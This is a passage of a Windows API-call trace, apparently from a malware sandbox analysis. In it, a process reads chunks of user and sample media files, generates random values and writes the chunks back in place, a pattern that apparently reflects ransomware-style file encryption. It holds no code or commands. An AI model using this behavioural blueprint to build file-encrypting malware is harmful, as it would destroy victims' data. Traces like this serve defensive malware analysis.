RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x21b9d8f3 [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x6250413f [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x20eebea9 [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x14fdbfb4 [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x17d1650 [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x2dd4cb94 [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x210896b9 [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x3c70cade [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x165b6948 [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x375edf2d [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x6238e7c8 [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x2f41683 [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x4ae60e00 [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x2d3ab6fa [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x69d066ec [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x12ddef5 [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x64f0a9d [0065.032] RtlRandomEx (in: Seed=0xa78fe14 | out: Seed=0xa78fe14) returned 0x151abc0 [0065.043] SetFilePointerEx (in: hFile=0x1408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.043] ReadFile (in: hFile=0x1408, lpBuffer=0x197f0248, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa78fde8, lpOverlapped=0x0 | out: lpBuffer=0x197f0248*, lpNumberOfBytesRead=0xa78fde8*=0xc800, lpOverlapped=0x0) returned 1 [0065.044] SetFilePointerEx (in: hFile=0x1408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.044] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c708 [0065.044] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5418 [0065.044] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436228 [0065.044] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436228) returned 1 [0065.045] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12be6008 [0065.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436228 [0065.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.050] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435df0) returned 1 [0065.050] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5418) returned 1 [0065.050] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c708) returned 1 [0065.050] WriteFile (hFile=0x1408, lpBuffer=0x12be6008, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa78fde8, lpOverlapped=0x0) Thread: id = 434 os_tid = 0xdb0 [0048.877] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\sSIWTL QxKHHqhvAA0v.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ssiwtl qxkhhqhvaa0v.mkv")) returned 0x2020 [0048.878] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\sSIWTL QxKHHqhvAA0v.mkv", dwFileAttributes=0x20) returned 1 [0064.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\sSIWTL QxKHHqhvAA0v.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ssiwtl qxkhhqhvaa0v.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1174 [0064.552] GetFileSizeEx (in: hFile=0x1174, lpFileSize=0xa83fcc8 | out: lpFileSize=0xa83fcc8*=36666) returned 1 [0064.552] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x8f36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.552] ReadFile (in: hFile=0x1174, lpBuffer=0xa83fc4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa83fc48, lpOverlapped=0x0 | out: lpBuffer=0xa83fc4c*, lpNumberOfBytesRead=0xa83fc48*=0x4, lpOverlapped=0x0) returned 1 [0064.552] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.552] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9210 [0064.552] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9378 [0064.553] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9260 [0064.553] NtQuerySystemTime (in: CurrentTime=0xa83fc28 | out: CurrentTime=0xa83fc28*=132174898285296000) returned 0x0 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x35833f21 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x732fd0ec [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x6791f4b7 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x67138b2c [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x2597d0ed [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0xd869171 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x40b4de8a [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x792f702f [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x58aec4eb [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x5db3d875 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x28a75dc1 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x7cb73b77 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x16dac736 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0xaa3f0ee [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x40b6ebe6 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x2f84ec8e [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x7a39b301 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x6d6ba64b [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x1c8d6905 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x58e91e5c [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x2167c031 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x4236009 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x404ff700 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x1bf679fa [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x639a9f74 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x64e9ab47 [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x6d2220ab [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x68927dbe [0064.553] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x7565f1c7 [0064.554] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x7e5beae4 [0064.554] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x3e335f14 [0064.554] RtlRandomEx (in: Seed=0xa83fc34 | out: Seed=0xa83fc34) returned 0x1dbae9b [0064.565] ReadFile (in: hFile=0x1174, lpBuffer=0x196e99a0, nNumberOfBytesToRead=0x8f3a, lpNumberOfBytesRead=0xa83fc24, lpOverlapped=0x0 | out: lpBuffer=0x196e99a0*, lpNumberOfBytesRead=0xa83fc24*=0x8f3a, lpOverlapped=0x0) returned 1 [0064.566] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.566] WriteFile (hFile=0x1174, lpBuffer=0x19c68008, nNumberOfBytesToWrite=0x8f3a, lpNumberOfBytesWritten=0xa83fc20, lpOverlapped=0x0) Thread: id = 435 os_tid = 0xdb4 [0049.197] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\TX7dmnJGpa_ztEYtCy.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\tx7dmnjgpa_zteytcy.odp")) returned 0x2020 [0049.197] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\TX7dmnJGpa_ztEYtCy.odp", dwFileAttributes=0x20) returned 1 [0065.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\TX7dmnJGpa_ztEYtCy.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\tx7dmnjgpa_zteytcy.odp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1418 [0065.311] GetFileSizeEx (in: hFile=0x1418, lpFileSize=0xa69fa84 | out: lpFileSize=0xa69fa84*=62541) returned 1 [0065.311] SetFilePointerEx (in: hFile=0x1418, liDistanceToMove=0xf449, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.311] ReadFile (hFile=0x1418, lpBuffer=0xa69fa08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa69fa04, lpOverlapped=0x0) Thread: id = 436 os_tid = 0xdc0 [0049.197] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv")) returned 0x20 [0049.198] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv", dwFileAttributes=0x20) returned 1 [0060.330] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8fc [0060.336] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0xa93fd38 | out: lpFileSize=0xa93fd38*=9699328) returned 1 [0060.336] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x93fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.336] ReadFile (in: hFile=0x8fc, lpBuffer=0xa93fcbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa93fcb8, lpOverlapped=0x0 | out: lpBuffer=0xa93fcbc*, lpNumberOfBytesRead=0xa93fcb8*=0x4, lpOverlapped=0x0) returned 1 [0060.338] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.338] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435850 [0060.338] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4358c8 [0060.338] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4358f0 [0060.338] NtQuerySystemTime (in: CurrentTime=0xa93fc98 | out: CurrentTime=0xa93fc98*=132174898243176000) returned 0x0 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x1680e69f [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x233071d1 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x77b1562b [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x37b2aa7c [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x5ddef85 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x136a4974 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x1aa9bf29 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x27ef595e [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x610c6cfa [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x3858df26 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x1ce7ecfa [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x519c9dfb [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x20108ede [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x2fba506a [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x66252ba3 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x77557973 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x2e3a3467 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x1134715e [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x463dbc02 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x11e84d54 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x2904dd12 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x82dbab6 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x596e66f3 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x15700304 [0060.338] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x704dac5e [0060.339] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x59ed77ba [0060.339] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x37cff3b2 [0060.339] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x328bc915 [0060.339] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x60747272 [0060.339] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x1e5e426d [0060.339] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0x1587f0ad [0060.339] RtlRandomEx (in: Seed=0xa93fca4 | out: Seed=0xa93fca4) returned 0xf764998 [0060.351] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.351] ReadFile (in: hFile=0x8fc, lpBuffer=0x19847038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa93fc50, lpOverlapped=0x0 | out: lpBuffer=0x19847038*, lpNumberOfBytesRead=0xa93fc50*=0xc800, lpOverlapped=0x0) returned 1 [0060.352] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c678 [0060.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43aba0 [0060.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435850 [0060.352] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435850) returned 1 [0060.353] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19853840 [0060.357] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435850 [0060.357] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4358f0 [0060.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4358f0) returned 1 [0060.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aba0) returned 1 [0060.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c678) returned 1 [0060.357] WriteFile (in: hFile=0x8fc, lpBuffer=0x19853840*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa93fc50, lpOverlapped=0x0 | out: lpBuffer=0x19853840*, lpNumberOfBytesWritten=0xa93fc50*=0xc800, lpOverlapped=0x0) returned 1 [0066.282] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19853840) returned 1 [0066.352] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x4a3800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.352] ReadFile (hFile=0x8fc, lpBuffer=0x19847038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa93fc50, lpOverlapped=0x0) Thread: id = 437 os_tid = 0xdc4 [0049.198] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv")) returned 0x20 [0049.199] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", dwFileAttributes=0x20) returned 1 [0060.358] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x900 [0060.358] GetFileSizeEx (in: hFile=0x900, lpFileSize=0x2bafc54 | out: lpFileSize=0x2bafc54*=26246026) returned 1 [0060.358] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0x1907b86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.358] ReadFile (in: hFile=0x900, lpBuffer=0x2bafbd8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bafbd4, lpOverlapped=0x0 | out: lpBuffer=0x2bafbd8*, lpNumberOfBytesRead=0x2bafbd4*=0x4, lpOverlapped=0x0) returned 1 [0060.360] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.360] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4358f0 [0060.360] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435968 [0060.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435990 [0060.361] NtQuerySystemTime (in: CurrentTime=0x2bafbb4 | out: CurrentTime=0x2bafbb4*=132174898243488000) returned 0x0 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x1e81f967 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x7a3132d6 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x7e1fc978 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x2d205622 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x3eca29d9 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x1aa56cd [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x3e399dd6 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x5c4c2905 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x51809a99 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x1772ceab [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x2518198f [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x458fd11b [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x6e847fc0 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x694749f4 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x688a6ca6 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x6c900e7 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x1165ddce [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x4ecbce0 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x7e5da5fd [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x75794015 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x6f6bf9c8 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x4810ab6d [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x4f31871c [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x319a2f42 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x1358c86 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x3fce8337 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x70389101 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x129b515 [0060.361] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x4958e98e [0060.362] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x2c2d4ff7 [0060.362] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0xe18bd90 [0060.362] RtlRandomEx (in: Seed=0x2bafbc0 | out: Seed=0x2bafbc0) returned 0x1dc45bd0 [0060.373] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.373] ReadFile (in: hFile=0x900, lpBuffer=0x19860048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bafb6c, lpOverlapped=0x0 | out: lpBuffer=0x19860048*, lpNumberOfBytesRead=0x2bafb6c*=0xc800, lpOverlapped=0x0) returned 1 [0060.375] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.375] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c678 [0060.375] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43aba0 [0060.375] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4358f0 [0060.375] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4358f0) returned 1 [0060.376] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1986c850 [0060.380] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4358f0 [0060.380] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435990 [0060.380] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435990) returned 1 [0060.380] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aba0) returned 1 [0060.380] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c678) returned 1 [0060.380] WriteFile (in: hFile=0x900, lpBuffer=0x1986c850*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bafb6c, lpOverlapped=0x0 | out: lpBuffer=0x1986c850*, lpNumberOfBytesWritten=0x2bafb6c*=0xc800, lpOverlapped=0x0) returned 1 [0066.354] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1986c850) returned 1 [0066.354] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0xc8c800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.354] ReadFile (hFile=0x900, lpBuffer=0x19860048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bafb6c, lpOverlapped=0x0) Thread: id = 438 os_tid = 0xdc8 [0049.200] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x445670 [0049.200] wcscpy (in: _Dest=0x445670, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0049.200] wcscat (in: _Dest=0x445670, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0049.200] wcscat (in: _Dest=0x445670, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*" [0049.200] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430ad8 [0049.200] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, 